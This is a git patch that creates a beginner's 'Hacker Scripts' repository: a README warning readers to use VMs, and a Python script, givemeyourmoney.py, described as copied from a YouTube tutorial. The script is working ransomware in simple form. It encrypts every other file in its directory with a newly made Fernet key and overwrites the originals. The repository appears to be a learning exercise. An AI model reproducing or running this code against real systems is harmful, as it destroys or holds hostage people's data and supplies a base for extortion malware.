From 19ca006f5661130da6ead68ddbcac6bc72c128a3 Mon Sep 17 00:00:00 2001 From: Tiffany Date: Sat, 19 Aug 2023 22:30:40 -0400 Subject: [PATCH] initial commit --- README.md | 33 +++++++++++++++++++ .../network-chuck/malware/givemeyourmoney.py | 31 +++++++++++++++++ 2 files changed, 64 insertions(+) create mode 100644 README.md create mode 100644 python/network-chuck/malware/givemeyourmoney.py diff --git a/README.md b/README.md new file mode 100644 index 0000000..eea25a7 --- /dev/null +++ b/README.md @@ -0,0 +1,33 @@ +# Hacker Scripts +> For us noobs + +!!!danger "SOME OF THESE SCRIPTS WILL RUIN YOUR COMPUTER!!" + Listen. I know you want to become a *1337 haxx0r* and all, but seriously, **don't run + these scripts on your main machine**. Use a box you can blow up with malware, or a cheap Linode server, or like I do, a VM. But **DON'T BE STUPID**. **USE WITH CAUTION**. + + +## Where are them scripts?? + +Glad you asked. They are broken up into several directories, and majority of these scripts are written in Python. + +``` +/scritps +├── 📁 python +| ├── 📁 network-chuck +| ├── 📁 malware +| ├── 📄 somescript.py +| └── 📄 anothernastyboy.py + ├── 📁 anotherdir + ├── 📄 somemorescripts.py +| └── 📄 hacktheplanet.py +├── 📄 LICENSE +├── 📄 README.md +``` + +Unless otherwise stated, I wrote these scripts with the instruction of YouTube channels. When I get better at this, I will create my own. + +However, note that I am not content to just write these down; no no. Ya girl is going to *refactor* them and *test* on my VMs. + +## More info please! + +I do more detailed writing on https://0x8c.org. \ No newline at end of file diff --git a/python/network-chuck/malware/givemeyourmoney.py b/python/network-chuck/malware/givemeyourmoney.py new file mode 100644 index 0000000..0de964f --- /dev/null +++ b/python/network-chuck/malware/givemeyourmoney.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python3 + +""" +This is a script taken from NetworkChuck YouTube channel. It is a simple +python script. See my latest post at https://0x8c.org for more. +""" + +import os +from cryptography.fernet import Fernet + + +files = [] + +for file in os.listdir(): + if file == "givemeyourmoney.py" or file == "gotchabitch.key": + continue + if os.path.isfile(file): + files.append(file) +print(files) + +key = Fernet.generate_key() + +with open("gotchabitch.key", "wb") as gotchabitch: + gotchabitch.write(key) + +for file in files: + with open(file, "rb") as thefile: + contents = thefile.read() + contents_encrypted = Fernet(key).encrypt(contents) + with open(file, "wb") as thefile: + thefile.write(contents_encrypted) \ No newline at end of file